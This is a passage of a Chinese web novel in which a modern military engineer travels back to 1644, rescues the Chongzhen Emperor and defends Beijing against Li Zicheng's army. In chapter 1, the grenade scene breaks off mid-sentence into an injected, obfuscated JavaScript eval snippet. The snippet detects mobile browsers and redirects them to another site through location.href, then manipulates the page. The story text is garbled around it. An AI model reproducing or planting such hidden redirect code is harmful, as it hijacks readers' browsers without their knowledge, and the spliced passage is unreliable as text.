《铁血1626:从拯救崇祯开始》 1. 崇祯十七年三月 《铁血1626：从拯救崇祯开始》 楔子：血色残阳 公元2023年深秋，华夏西北某国防科研基地。 李炎站在落地窗前，望着远处戈壁滩上最后一抹残阳。作为三十四岁的兵器工程博士、陆军中校，他刚刚完成新型电磁炮的实弹测试。数据很理想，但不知为何，他心中却涌起一股莫名的不安。 “李工，华夏军委急电！”助手推门而入，脸色凝重。 三小时后，李炎坐在绝密会议室内，听着白发苍苍的钱院士介绍“时空涟漪理论”。大屏幕上，复杂的数学模型正在模拟一种罕见的宇宙现象——未来48小时内，地球将穿过一个时空异常带。 “我们监测到异常能量读数，”钱院士推了推眼镜，“理论上有亿万分之一的概率，会有人或物体被抛入历史节点。” “具体时间点？”李炎问。 “不确定。但数学模型显示，明末崇祯年间出现的概率最高。” 会议室陷入沉默。作为历史军事爱好者，李炎太清楚那个时间点意味着什么——华夏文明的至暗时刻即将来临。 会后，基地指挥官单独留下李炎：“上级决定，组建一个特别小组，携带必要的知识库和微型装备，随时待命。你是组长。” “首长，这太疯狂了……” “我们知道。”指挥官神色严肃，“但如果有亿万分之一的机会，能改变那段历史……” 李炎想起自己祖父临终前的话：“炎儿，我们民族最大的遗憾，就是崇祯十七年……” 那夜，李炎在基地图书馆查阅了大量明末史料。凌晨三点，当他读到“北京城破，崇祯自缢煤山”时，突然感到一阵剧烈头痛。四周的空间开始扭曲，书架上的书籍无风自动。 “警告！时空异常值突破临界点！”警报声刺破夜空。 李炎最后的意识，是看到一道白光吞没了整个世界。 公元1644年，大明崇祯十七年，三月十八日。 李炎在刺骨寒风中醒来。 首先感觉到的，是身下冰冷的青石板。他挣扎着坐起，发现自己躺在一条狭窄的巷弄里，身上还穿着军装常服，腰间挎着军用背包——里面装着手枪、急救包、太阳能充电器、平板电脑，以及最重要的：一块储存着海量技术资料的固态硬盘。 巷外传来嘈杂声。李炎探头望去，看到的景象让他心脏骤停—— 街道上挤满了慌乱奔逃的百姓，远处城门方向浓烟滚滚。男人们推着独轮车，车上堆着简陋的家当；妇女抱着孩子哭喊；老人们拄着拐杖，踉跄而行。所有人脸上都写着同一个词：绝望。 “闯贼要破城了！快跑啊！” “皇上还在宫里……” “跑有什么用？能跑到哪儿去？” 李炎的大脑飞速运转。他穿越了，而且直接来到了最危险的时刻——李自成大军兵临北京城下，距离崇祯皇帝自缢只剩下不到二十四小时。 “必须立刻进宫！”他撕下军衔标识，从背包里翻出一件便服外套罩在外面。平板电脑还有78%的电量，他迅速调出离线保存的北京城地图。 皇城在东面。李炎逆着人流狂奔，背包里的装备硌得他生疼。转过一个街角，眼前景象更触目惊心——几个地痞正在抢劫一家布店，店主的哭喊淹没在城市的喧嚣中。 “住手！”李炎下意识喝道。 地痞们回头，看到只是个穿着怪异的年轻人，狞笑着围上来。为首的是个刀疤脸，手里提着根木棍。 李炎叹了口气。在特种部队三年的训练，让他几乎本能地做出反应。侧身躲过挥来的木棍，右手擒腕，左手肘击，刀疤脸闷哼倒地。另外两人还没反应过来，已经被李炎踹中小腹，摔作一团。 整个过程不超过十秒。 “滚。”李炎捡起木棍，冷冷地说。 地痞们连滚爬起，狼狈逃窜。店主跪地磕头：“多谢壮士！多谢壮士！” “皇宫怎么走最快？”李炎扶起他。 “您、您要去皇宫？”店主惊恐，“东华门那边还在打，闯贼的兵已经到城外了！” 李炎不再多问，朝着店主指的方向继续狂奔。越靠近皇城，景象越混乱——有逃跑的太监宫女，有试图组织抵抗的侍卫，还有砸开仓库抢粮的乱民。 终于，他看到了东华门。 城门紧闭，墙头站着稀稀拉拉的守军，个个面如土色。一个军官模样的中年人正对着士兵咆哮：“守住！都给我守住！皇上还没走！” “王大人，守不住了啊！”一个年轻士兵哭喊，“城外全是贼兵，少说二十万！” “那也得守！” 李炎深吸一口气，走上前：“我要见皇上。” 军官王承恩——李炎从史料中知道这个名字，崇祯最忠诚的太监——转过身，警惕地盯着这个衣着怪异的年轻人：“你是何人？” “我能解京城之围。”李炎平静地说。 周围响起几声嗤笑。王承恩皱眉：“胡言乱语！来人，把这疯子赶走！” “等等。”李炎从背包里掏出手枪，对着天空扣动扳机。 “砰！” 震耳欲聋的枪声让所有人呆立当场。明代火铳发射时声音沉闷，绝没有如此清脆响亮。 “这是何物？”王承恩的声音变了。 “西洋最新火器。”李炎面不改色地撒谎，“我能制造更多这样的武器，一天之内，就能让闯贼退兵三十里。” 其实手枪里只剩十一发子弹，但这不重要，重要的是争取时间。 王承恩盯着李炎看了半晌，最终咬牙：“跟我来。但你若敢欺君，凌迟处死。” 穿过重重宫门，李炎第一次见到了真实的紫禁城。红墙黄瓦在暮色中显得格外凄惶，宫殿间奔跑的宫人像无头苍蝇。空气中弥漫着绝望的气息。 乾清宫内，烛火摇曳。 崇祯皇帝朱由检坐在龙椅上，年仅三十三岁，却已两鬓斑白。他穿着明黄色常服，腰背挺直，但眼中布满血丝。地上散落着奏折，几个大臣跪在一旁，瑟瑟发抖。 “陛下，城破在即，请速移驾南京……”一个老臣叩首。 “住口！”崇祯猛地拍案，“祖宗基业，岂可轻弃！朕……朕要与京城共存亡！” 话虽如此，他的手却在颤抖。 王承恩跪倒：“皇上，此人自称能解京城之围。” 所有人的目光投向李炎。崇祯抬眼，看着这个短发、奇装异服的年轻人，眼中闪过一丝疑惑：“你是何人？” “草民李炎，来自海外。”李炎行了个不标准的礼，“陛下，给我一天时间，五百兵士，我能让闯贼不敢攻城。” “狂妄！”一个大臣喝道，“城外二十万贼军，你当是儿戏吗？” 李炎不理会他，直视崇祯：“陛下，北京城墙高厚，本可坚守。如今军心涣散，是因无退敌之策。我有三策：一曰疑兵，二曰火攻，三曰斩首。” “细细说来。” “疑兵：今夜在城头遍插旌旗，每隔十步置草人着军服，以绳索操控，使贼以为守军众多；火攻：以火药掺硫磺、石灰，制成毒烟火箭，射入敌营，不杀人而乱军心；斩首：组建敢死队，夜袭敌营，专杀贼军将领。” 崇祯站起身，走下御阶：“你如何制造毒烟火箭？” “需硫磺五十斤，硝石一百斤，石灰三十斤，以及工匠十人。”李炎回答，“两个时辰可制百枚。” “陛下，不可信此江湖术士！”大臣们纷纷劝谏。 崇祯却看着李炎的眼睛。那双眼中有种他从未见过的东西——不是臣子的惶恐，不是文人的迂腐，而是一种近乎冷酷的自信。 “王承恩，拨他三百兵士，所需物料即刻备齐。”崇祯终于开口，“但李炎，你若失败，朕会亲手斩你。” “若成功呢？” 崇祯沉默片刻：“朕许你一个愿望。” --- 子夜时分，皇城西北角一处废弃院落。 李炎指挥着三百名惶惶不安的士兵。硫磺、硝石、石灰等材料已经运到，还有十个战战兢兢的工匠。 “首先，把硝石碾碎，越细越好。”李炎演示着，“硫磺和石灰按这个比例混合……” 他其实简化了现代火药配方，但对付十七世纪的军队足够了。关键是添加了生石灰，遇水会产生高热和腐蚀性烟雾。 士兵们将信将疑地工作起来。李炎则打开平板电脑，调出存储的火药制造资料——幸好他有下载维基百科和各类技术手册的习惯。 “李、李大人，这是何物？”一个年轻士兵指着发光的屏幕，声音发颤。 “海外秘宝。”李炎面不改色，“专心做事。” 凌晨三点，第一批五十枚毒烟火箭制成。说是火箭，其实就是在普通火箭基础上加装了石灰包，引信做了延时处理。 “现在，我需要三十个不怕死的人。”李炎看着士兵们。 一阵沉默。终于，一个满脸刀疤的老兵站出来：“老子家人都死在闯贼手里，我去。” “我也去！” “算我一个！” 最终，三十人的敢死队集结完毕。李炎给他们分发装备：每人三枚火箭，一把腰刀，还有——他从背包里拿出的三颗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17110034|195859||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 手雷。 “此物名‘震天雷’，拉动这个环，数三下扔出。”李炎演示，“记住，必须扔远，否则自己也会死。” 士兵们敬畏地看着那些铁疙瘩。 凌晨四点，东华门悄悄打开一条缝。李炎带着敢死队潜入夜色。城外，李自成大军的营火连绵数里，如地上星河。 “李大人，贼军主帅大营应在那个方向。”老兵指着最大的一簇营火。 李炎点头：“分成三队，一队随我去大营，另两队袭击左右两翼的马厩和粮草。得手后发射红色信号箭，然后立刻撤回。” “遵命！” 匍匐前进半个时辰，李炎的小队已接近中军大帐。帐篷外，几个哨兵正围着火堆打盹。更远处，巡逻队的火把在移动。 “等我信号。”李炎低声说。他掏出夜视仪——电池只剩37%，但够用了。 绿色视野中，营地布局清晰可见。他瞄准最大的帐篷，计算距离和风向。 “放箭！” 十支毒烟火箭呼啸升空，拖着刺鼻的白烟，精准落入营地各处。火箭炸开的瞬间，石灰粉四散飞扬，混着硫磺的刺鼻气味。 “敌袭！敌袭！” 营地大乱。士兵们从梦中惊醒，吸入石灰粉后剧烈咳嗽，眼睛灼痛。马匹受惊嘶鸣，挣脱缰绳四处狂奔。 与此同时，左右两翼也升起火光——另外两队得手了。 “现在！”李炎率先冲出，手枪连发三枪，放倒三个冲过来的士兵。 敢死队员们如猛虎出闸，冲入混乱的营地。他们的目标明确：穿盔甲的军官。一个闯军将领刚冲出帐篷，就被老兵一刀砍倒。 李炎直扑中军大帐。帐内，一个身材魁梧的中年人正在披甲——正是李自成麾下大将刘宗敏。 “保护将军！”亲兵们围上来。 李炎扔出手雷。 “轰！” 爆炸声在寂静的夜晚格外震撼。气浪掀翻帐篷，刘宗敏被震倒在地，耳鼻流血。 “妖、妖术！”亲兵们惊恐后退。 李炎不给他们反应时间，手枪点射，再放倒两人，然后冲到刘宗敏面前，枪口顶住他的额头。 “让你的部队后退三十里。”李炎冷冷地说，“否则下次，炸的就是李自成的中军大帐。” 刘宗敏死死盯着这个短发怪人：“你……你是何人？” “崇祯皇帝麾下，天机营指挥使，李炎。”李炎随口编了个官职，“现在，传令。” 迫于枪口，刘宗敏咬牙下令鸣金收兵。实际上营地已乱成一团，不用命令也已开始溃退。 黎明时分，李炎带着敢死队返回城内。三十人去了，二十八人回，还带回三匹战马和一面闯军将旗。 城头上，王承恩和守军目瞪口呆地看着闯军营地向西移动，真的退兵了。 “李大人，您这是……”王承恩的声音在颤抖。 “缓兵之计。”李炎擦去脸上的烟灰，“他们很快就会反应过来，卷土重来。我们只有一天时间准备真正的守城战。” --- 乾清宫内，崇祯皇帝听完汇报，久久不语。 他走下龙椅，亲手扶起跪地的李炎：“爱卿……真乃神人也。” “陛下过誉。”李炎平静地说，“闯军虽退，但未伤筋骨。李自成用兵狡诈，必会很快查明虚实。我们必须在他再次攻城前，做好万全准备。” “你要什么？” “全权指挥京城防务。”李炎抬起头，“以及……改革军制，制造新式火器，重整朝纲。” 几个大臣倒吸冷气：“陛下，万万不可！此人来历不明……” “那你们能守住京城吗？”崇祯猛地转身，眼中爆发出久违的锐利，“能吗？” 大臣们哑口无言。 “传旨：封李炎为兵部右侍郎，总领京师防务，赐尚方宝剑，有先斩后奏之权。”崇祯一字一句，“王承恩，你协助李侍郎，凡有抗命者，斩！” “臣，领旨。”李炎单膝跪地。 他知道，这只是开始。改变历史的第一步已经迈出，但前方是更艰难的征途——不仅要守住北京，还要逆转整个明末的颓势，更要对抗正在关外崛起的满洲铁骑。 而他的筹码，只有超越时代的知识，和一颗不惜一切代价挽救文明的心。 走出乾清宫时，天已大亮。北京城的轮廓在晨曦中逐渐清晰，这座古老的都城，将迎来它命运中最关键的一场战役。 李炎握紧尚方宝剑的剑柄，望向东方天际。 那里，大明的太阳正在升起。 而他将不惜一切，不让它落下。 2. 中流击楫 正午的阳光透过乾清宫的窗棂，在地上投下斑驳的光影。李炎站在巨大的北京城防图前，手中炭笔划过一道道痕迹。 “德胜门、安定门、东直门、朝阳门。”他的声音在殿内回荡，“这四个城门最易受攻击，必须重点布防。” 王承恩站在一旁，身后是十余名将领，个个盔甲陈旧，面色憔悴。他们是京营最后的指挥层，大多出身勋贵，却无实战经验。 “李侍郎，”一个满脸虬髯的将领忍不住开口，“城内存粮仅够半月，火药不足三千斤，箭矢不足五万支。就算有你的……新式火器，又如何抵挡二十万贼军？” 李炎转过身，目光扫过众人：“张总兵说得对，硬守是守不住的。所以我们要智取。” 他走到大殿中央，崇祯皇帝坐在龙椅上，眉头紧锁。 “陛下，臣有三请。”李炎拱手，“第一，开内帑，重赏守城将士，凡斩敌一人，赏银十两；第二，释放轻罪囚犯，编入辅兵队，搬运守城物资；第三，征召城中工匠，设立军器局，日夜赶制火器。” 户部尚书噗通跪倒：“陛下不可啊！内帑仅存银八十万两，若尽数赏军，宫中用度……” “国都要亡了，还要宫中用度何用！”崇祯猛地站起，眼中血丝更密，“准奏！王承恩，开内库，按李侍郎所言行事！” “臣还有一请。”李炎继续说，“请陛下亲登城楼，犒劳将士。” 殿内一片哗然。皇帝亲临前线，万一有个闪失…… “好！”崇祯却毫不犹豫，“朕不但要登城，还要与将士同食同寝！传旨：今日起，御膳减半，省下的银两全部充作军费！” 李炎看着这个三十三岁的皇帝，心中涌起复杂情绪。历史上的崇祯刚愎自用，但此刻展现的决绝，或许正是这个王朝最后的脊梁。 --- 午后，军器局在西苑空地上紧急设立。 三百名工匠被征召而来，大多是衣衫褴褛的底层手艺人。他们惶恐地跪在地上，不知等待自己的是福是祸。 李炎站在临时搭建的木台上，手中举着一支连夜赶制的样品：“诸位请看，此乃‘崇祯一式’火铳。” 那是一支简化版的燧发枪。李炎根据平板电脑中的图纸，结合明代工艺水平进行了改良——取消了复杂的簧轮机构，改用简单的燧石击发；枪管缩短，便于城头使用；口径标准化，可以使用统一规格的铅弹。 “此铳射程百步，装填只需二十息。”李炎示意助手演示。 工匠们瞪大眼睛。明代火铳装填需要至少一分钟，且哑火率高，实战中往往放一枪就得肉搏。 “砰！”靶子在百步外应声而破。 一片惊叹声。 “凡能一日造铳一支者，赏银五两；造弹百枚者，赏银一两。”李炎朗声道，“若能改进工艺，提高产量，另有重赏！” 重赏之下必有勇夫。工匠们的眼中燃起了光芒。 李炎走下木台，来到一个老工匠面前。老人正在仔细端详样品，手指摩挲着枪管接缝处。 “老师傅，有何高见？” 老人吓了一跳，连忙跪倒：“大人恕罪，小的只是觉得……这铳管若能加一道箍，或许更牢固些。” 李炎眼睛一亮。这就是他要的——激发工匠的创造力。他扶起老人：“老师傅怎么称呼？” “小的姓徐，名天工，世代铁匠。” “徐师傅，我任命你为军器局副总管。”李炎当场拍板，“凡有改进建议，可直接禀报。” 周围工匠哗然。一个平民，竟能得此重用？ “诸位！”李炎提高声音，“非常之时，当用非常之才！不论出身，只论本事！谁能改进工艺，提高产量，同样可获擢升！” 工匠们的积极性被彻底点燃。 --- 与此同时，城头防务也在紧锣密鼓进行。 按照李炎的部署，城墙每五十步设一“火力点”，配备改进后的毒烟火箭和万人敌（大型□□）。城墙后方搭建高台，布置弓弩手。最关键的，是在四个主要城门内修筑瓮城——虽然时间仓促，只能建简易版，但足以形成交叉火力。 李炎亲自检查德胜门的防御。守将是京营副将周遇吉，历史上他将在宁武关血战殉国，但现在命运已经改变。 “周将军，城门是关键。”李炎指着厚重的包铁城门，“闯军必会集中攻击此处。我准备在此处埋设‘地雷’。” “地雷？” “地下埋设火药，引线通到城楼。”李炎解释，“待敌军聚集门下时引爆，可杀数百人。” 周遇吉倒吸冷气：“此计……未免太过狠辣。” “战争本就是你死我活。”李炎平静地说，“对敌人仁慈，就是对自己人残忍。” 正说话间，一骑快马飞驰而来：“报！闯军前锋已至十里外，李自成亲率中军，预计明日午时抵达！” 该来的终于来了。 --- 夜晚，李自成大营。 刘宗敏跪在帐中，头上裹着纱布，血迹渗透。帐内气氛压抑，数十名将领分列两侧，中央坐着李自成。 这位三十八岁的起义军领袖身材不高，但目光锐利如鹰。他盯着刘宗敏看了半晌，缓缓开口：“你说……明军有妖术？” “千真万确！”刘宗敏声音发颤，“那爆炸声如雷霆，白烟刺眼灼喉，弟兄们乱作一团。还有那短发怪人，手持小匣，指谁谁死……” “荒谬！”一个文士打扮的中年人出列，“大王，此必是明军疑兵之计。北京城防空虚，我军一鼓作气便可攻下。” 此人是李自成的谋士牛金星。 “军师言之有理。”另一将领附和，“刘将军定是中了埋伏，为推卸责任编造谎话。” “我没有！”刘宗敏急道，“大王若不信，可问逃回的弟兄！” 李自成摆摆手：“宗敏先起来。无论真假，我军新败是事实。传令：各营加强戒备，多派斥候，查明城中虚实。” 他走到地图前：“北京城高池深，强攻代价太大。宋军师，你怎么看？” 一直沉默的宋献策捻着胡须：“大王，北京虽坚，但人心已散。可先围而不攻，遣细作入城散布谣言，动摇守军意志。同时分兵劫掠周边，断其粮道。不出一月，城内必乱。” “好计！”李自成点头，“但也不能等太久。关外还有满洲鞑子虎视眈眈，须速战速决。” 他手指点在地图上：“三日后，四面同时攻城。我倒要看看，那个‘妖人’能有多少妖术！” --- 同一时间，紫禁城文华殿。 这里被临时改为作战指挥部。墙上挂满地图，桌上堆着文书，李炎和十余名将领正在推演战局。 “闯军最可能的攻击方向，是德胜门和西直门。”李炎指着沙盘，“这两门外地势开阔，适合大军展开。而李自成用兵，喜集中优势兵力突破一点。” “那我们是否要加强这两处防守？”周遇吉问。 “不。”李炎摇头，“我们要示弱。” 众人不解。 “在德胜门和西直门减少旗号，白天只派老弱守城，夜晚却暗中增兵。”李炎解释道，“而在安定门和东直门，则大张旗鼓，做出重兵防守的假象。” 王承恩恍然大悟：“李侍郎是要诱敌攻其‘弱’点？” “正是。”李炎在沙盘上摆弄着代表兵力的木块，“闯军斥候看到布防虚实，必会建议李自成攻德胜、西直二门。而那里，我们已经布下了天罗地网。” 他详细讲解作战计划：在瓮城埋伏精锐，城头准备滚木礌石，地下埋设火药。待敌军破门涌入瓮城，立刻引爆火药，放下闸门，形成关门打狗之势。 “但这也太冒险了。”一个年轻将领担忧，“万一城门真被攻破……” “所以需要一支奇兵。”李炎看向周遇吉，“周将军，我需要你率领两千骑兵，埋伏在城北密林中。待敌军攻城正酣时，从侧翼杀出，直取李自成中军。” “两千对二十万？”周遇吉苦笑，“这是送死。” “不是硬拼，是袭扰。”李炎说，“李自成为了速战速决，必会将精锐投入攻城，中军反而空虚。你们突袭得手后立刻撤退，搅乱敌军部署即可。” 他顿了顿：“这是九死一生的任务。周将军若不愿，我不强求。” 周遇吉沉默片刻，忽然单膝跪地：“末将愿往！家父战死辽东，末将早就想和这些流寇决一死战！” “好！”李炎扶起他，“记住，你们的任务是制造混乱，不是杀敌多少。一击即走，绝不可恋战。” 作战计划确定后，将领们各自领命而去。殿内只剩下李炎和王承恩。 “李侍郎，”王承恩低声问，“有几分把握？” “五分。”李炎实话实说，“兵力悬殊太大，再精妙的计策也需要运气。” 他走到窗边，望着夜空中的星辰。那些星星的光芒，其实很多已经熄灭，只是光还在宇宙中旅行。就像这个时代，大明王朝实际上已经濒临死亡，但他必须让它的光继续照耀下去。 “王公公，若我战死，请你务必保护皇上南下。”李炎突然说。 王承恩一震：“李侍郎何出此言？” “我有预感，这一战不会轻松。”李炎转过身，“我带来的‘仙器’有限，知识也需要时间转化为实力。若此战失败……至少要为大明保留火种。” 王承恩深深看了他一眼：“李侍郎放心，老奴誓死护卫皇上。但你也要活着，大明……需要你这样的人。” 两人相视无言。殿外，更鼓敲响了三声。 距离决战，还有十二个时辰。 --- 子夜，李炎回到临时住所——西苑的一处偏殿。他打开平板电脑，电量还剩62%。调出存储的资料库，开始搜索“简易火药制造”“守城器械”“战地急救”…… 忽然，一条记录引起他的注意：“1634年，徐光启遗作《农政全书》完稿，其中收录《火攻要术》……” 徐光启！这位明代科学家曾与利玛窦合作，翻译《几何原本》，倡导西学。他的著作中或许有可用的知识。 “来人！”李炎唤来侍卫，“立刻去徐府，寻找徐光启大人的遗稿，尤其是《农政全书》和《火攻要术》！” 侍卫领命而去。李炎继续查阅资料，直到眼睛发涩。他关掉平板，从背包里取出一个相框——那是他和父母的合影，拍摄于2022年春节。 照片上的父母笑容灿烂，而他却再也回不去了。 “爸，妈，”他轻声自语，“儿子在做一件大事，一件……能改变历史的大事。” 他将相框贴在胸前，良久，重新收起，眼神恢复坚定。 天快亮时，侍卫带着几箱书籍回来。李炎如获至宝，连夜翻阅，果然在《火攻要术》中发现了有价值的内容——徐光启记录了一种“连珠铳”的设计，可连续发射二十弹，虽然原始，但原理可行。 “立刻召集工匠！”李炎不顾疲劳，“按此图纸，试制连珠铳！” 黎明时分，第一支试验品造出来了。那是一个笨重的圆筒，装填铁砂和火药，通过转轮机构实现连续击发。 “试射！” “砰砰砰砰……”一连串爆响，二十步外的木靶被打得千疮百孔。 “成功了！”工匠们欢呼。 李炎却没有太多喜悦。这武器射程近、精度差、装填慢，只能用于近距离防御。但聊胜于无。 “批量制造，优先装备瓮城守军。”他下令，“另外，准备足够的石灰、硫磺、桐油……” “大人要这些何用？”徐天工问。 “做□□。”李炎眼中闪过一丝冷光，“李自成既然来了，就让他尝尝火海的滋味。” --- 三月二十日，清晨。 北京城头，旌旗猎猎。经过两日准备，城墙明显加固，新制的守城器械排列整齐。守军士兵虽然依旧面带菜色，但眼中多了几分神采——重赏之下，士气有所恢复。 崇祯皇帝真的登上了德胜门城楼。他穿着金甲，在晨光中略显单薄，但挺直的腰杆让守军们精神一振。 “将士们！”崇祯的声音在风中传开，“贼军犯我京师，欲亡我社稷。朕与你们同在，誓与京城共存亡！凡杀敌立功者，不吝封侯之赏；凡临阵脱逃者，立斩不赦！” “万岁！万岁！万岁！”山呼声响起。 李炎站在崇祯身后，看着这一幕。历史上，崇祯在城破前也曾试图鼓舞士气，但为时已晚。而现在，至少还有一战之力。 远处，地平线上烟尘滚滚。先是零星骑兵出现，接着是黑压压的步兵方阵，最后是望不到头的流民队伍。李自成大军，到了。 中军大旗下，李自成眯眼望着北京城。这座他梦寐以求的都城，如 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“倒金汁！”守军将烧沸的粪水倒下，惨叫声此起彼伏。 战斗进入白热化。李炎在城楼指挥，不断调整部署。他手中的望远镜不时扫过战场，寻找李自成的中军位置。 午时，德胜门出现险情。一段城墙被闯军火炮击中，坍塌出一个缺口。数百敌军蜂拥而入。 “预备队上！”李炎冷静下令，“连珠铳准备！” 瓮城内，五十名手持连珠铳的士兵埋伏在两侧。待闯军涌入约三百人时，闸门突然落下。 “射击！” “砰砰砰砰……”连珠铳喷出火舌，铁砂呈扇形覆盖。狭窄空间内的闯军无处可躲，成片倒下。 同时，城头投下□□——陶罐内装桐油、硫磺，落地即燃。瓮城瞬间变成火海。 惨叫声震天动地。后续闯军吓得连连后退。 远处，李自成脸色铁青：“那是什么火器？！” 无人能答。 “大王，西直门攻势也不顺。”斥候来报，“守军抵抗顽强，且有怪异火器助阵。” 李自成咬牙：“传令刘宗敏，亲自带队，再攻德胜门！今日必破此城！” 他不知道的是，就在他调兵遣将时，周遇吉的两千骑兵已悄然出城，绕到了闯军侧翼。 --- 申时，战斗已持续四个时辰。 守军伤亡惨重，箭矢消耗过半，滚木礌石所剩无几。闯军虽然损失更大，但兵力雄厚，一波接一波，仿佛无穷无尽。 李炎手臂中了一箭，简单包扎后继续指挥。崇祯被王承恩强行劝下城楼，但坚持在城门楼内督战。 “李侍郎，援军何时出击？”王承恩焦急地问。 “再等等。”李炎盯着战场，“李自成还没把全部精锐压上。” 话音未落，闯军阵中忽然响起震天鼓声。一支全身铁甲的部队出列——这是李自成的老营精锐，每个士兵都身经百战。 他们推着巨大的攻城槌，缓缓逼近德胜门。 “就是现在！”李炎对传令兵大喝，“发信号！” 三支红色火箭冲天而起。 城外密林中，周遇吉看到信号，翻身上马：“弟兄们，随我杀！” 两千骑兵如离弦之箭，从侧翼杀入闯军阵地。他们不恋战，直扑中军大旗。 “保护大王！”闯军一片混乱。 李自成大惊，他没想到明军还有余力出击。老营精锐已投入攻城，中军确实空虚。 “亲卫营，迎战！”他拔剑大喝。 骑兵对决在旷野展开。周遇吉一马当先，连斩三将，直取李自成。但亲卫营拼死抵挡，将他团团围住。 “将军快走！”副将大喊，“我们被包围了！” 周遇吉环顾四周，两千骑兵已陷入重围。他哈哈大笑：“今日杀得痛快！弟兄们，多拉几个垫背的！” 就在此时，德胜门突然大开。 李炎亲率最后五百骑兵杀出。他们没有冲击主战场，而是直奔攻城槌部队。 “毁掉攻城槌！”李炎手持改良版燧发手枪，一枪一个。 守军见主将出城，士气大振。城头剩余箭矢、火器全部倾泻而下。 战场形势逆转。攻城槌被焚毁，老营精锐腹背受敌。李自成见势不妙，终于下令鸣金收兵。 夕阳西下，闯军如潮水般退去。战场上尸横遍野，德胜门前堆满尸体，护城河的水被染成暗红。 李炎勒马立于阵前，望着退去的敌军。他知道，这只是暂时的胜利。李自成很快就会卷土重来。 但至少，北京城守住了第一天。而这一天，本该是城破的日子。 历史，已经改变了。 --- 夜幕降临，伤兵营内呻吟不断。李炎简单处理了伤口，开始巡视城防。 士兵们看到他，纷纷行礼，眼中满是敬畏。今日一战，这位突然出现的李侍郎用事实证明了能力。 “统计战果。”李炎对王承恩说。 “初步统计，歼敌约八千，我军伤亡三千。”王承恩声音低沉，“周遇吉将军……突围时中箭落马，被亲兵拼死救回，但伤势严重。” 李炎心中一沉：“带我去看他。” 周遇吉躺在简陋的军帐中，胸口插着一支断箭，军医正束手无策。 “李……李侍郎……”周遇吉虚弱地开口，“末将……没辱使命吧？” “周将军立下大功。”李炎蹲下身，“你会没事的。” “不用安慰我。”周遇吉咧嘴一笑，血沫从嘴角溢出，“末将早就……准备好这一天了。只是遗憾……不能看到……大明中兴……” 他的手无力垂下。 帐内一片寂静。李炎闭上眼，深吸一口气，再睁开时，眼中只剩决绝。 “厚葬周将军，抚恤加倍。”他起身，“传令各门：连夜修复城墙，补充箭矢火器。闯军明日必会再来，而且攻势会更猛。” 走出军帐，夜空无星，乌云密布。 一场暴雨即将来临。而更大的风暴，还在后头。 李炎握紧剑柄，望向紫禁城方向。那里，大明的皇帝还在等待战报。 他迈步向前，身影融入夜色。 战争才刚刚开始，而他要走的路，还很长很长。 3. 雨夜惊雷 子时三刻，暴雨倾盆。 雨水冲刷着德胜门外的战场，血水混着泥浆，在青石板街面上蜿蜒成一道道暗红色的溪流。城头残破的旌旗在风中猎猎作响，守军士兵裹着蓑衣，在垛口后蜷缩着，每个人的脸上都写满疲惫。 李炎站在城门楼内，油灯的光晕在湿冷空气中颤抖。他面前摊开着北京城防图，朱砂笔标记的防线已有七处被突破后修复。王承恩端着一碗姜汤站在一旁，欲言又止。 “城内存粮还能支撑几日？”李炎没有抬头。 “若是按照现在的消耗……十日。”王承恩的声音干涩，“但若要将士们吃饱守城，最多七日。” “火药呢？” “昨夜赶制的新式火药还有八百斤，石灰、硫磺等原料……各不足千斤。” 李炎放下笔，揉了揉太阳穴。穿越第四天，睡眠时间加起来不足六个时辰。左臂的箭伤隐隐作痛，军医说若再深半寸就会伤及筋骨。 “李自成不会给我们喘息之机。”他走到窗前，雨幕中的北京城一片漆黑，只有零星几点灯火——那是巡夜的兵丁，“明日他必会改变战术。” “侍郎的意思是……” “围而不攻，断我粮道。”李炎转身，眼神锐利，“今日强攻受挫，李自成只要不傻，就会明白强攻代价太大。他最可能做的，是分兵控制京畿要道，同时派细作入城煽动内乱。” 话音未落，殿外传来急促脚步声。一个浑身湿透的锦衣卫千户单膝跪地：“禀侍郎！南城粮仓起火！” 李炎与王承恩对视一眼，都看到对方眼中的寒意。 来的真快。 --- 南城，太平仓。 大火在暴雨中诡异燃烧，雨水浇在火焰上竟发出嗤嗤声响，冒出刺鼻白烟。李炎赶到时，两百余名守仓士兵正奋力扑救，但火势已蔓延至三座仓廒。 “是油！”一个老仓吏哭喊，“贼人在粮垛上泼了桐油！” 李炎蹲身抓起一把烧焦的米粒，在鼻尖嗅了嗅，脸色骤变：“不是桐油，是磷粉混合油脂……这是专业纵火手段。” 他猛地起身：“王公公，立即封锁周边街巷，所有人员不得进出！锦衣卫挨户搜查，发现身上有磷粉味或油脂痕迹者，格杀勿论！” 命令刚下，东城方向又传来爆炸声。 “是火药局！”王承恩失声。 李炎翻身上马，亲兵队紧随其后。穿过雨夜的街道，沿途所见触目惊心——数处民宅起火，混乱中有人趁火打劫，哭喊声、厮杀声、救火声混作一团。 这是内乱的前兆。 火药局外围墙被炸开一个缺口，值守士兵死伤十余。李炎冲进院内，只见工匠们正拼命抢救设备和原料，徐天工脸上带着血污，指挥若定。 “徐师傅，损失如何？” “大人！”徐天工跪地，“贼人用火药炸开围墙，欲抢夺连珠铳样品，被守卫击退。但……新制的一百二十枚毒烟火箭被毁。” 李炎扶起他：“人没事就好。火箭可以再造。” 他走到爆炸点，蹲下检查残留物。炸点精准，药量计算恰到好处——既炸开围墙，又未波及主要工坊。这不是普通细作能做到的。 “大人，发现这个。”亲兵递上一块铁牌。 铁牌巴掌大小，边缘有火烧痕迹，正面刻着一只闭目的乌鸦。李炎瞳孔微缩——这是满洲正白旗细作的身份标志，他在后世档案中见过图样。 满清已经插手了。 “传令九门提督：全城戒严，实行宵禁。凡无通行文书夜间上街者，以奸细论处。”李炎声音冰冷，“再调一千京营士兵，加强皇城守卫。” 他翻身上马，却未回紫禁城，而是直奔西城。 “大人，我们去哪儿？”亲兵队长问道。 “去找能抓老鼠的猫。” --- 西城，皮库胡同。 这里聚集着北京城三教九流的人物，白天是皮货市场，夜晚则变成黑市交易场所。李炎在一处不起眼的院落前下马，叩门三长两短。 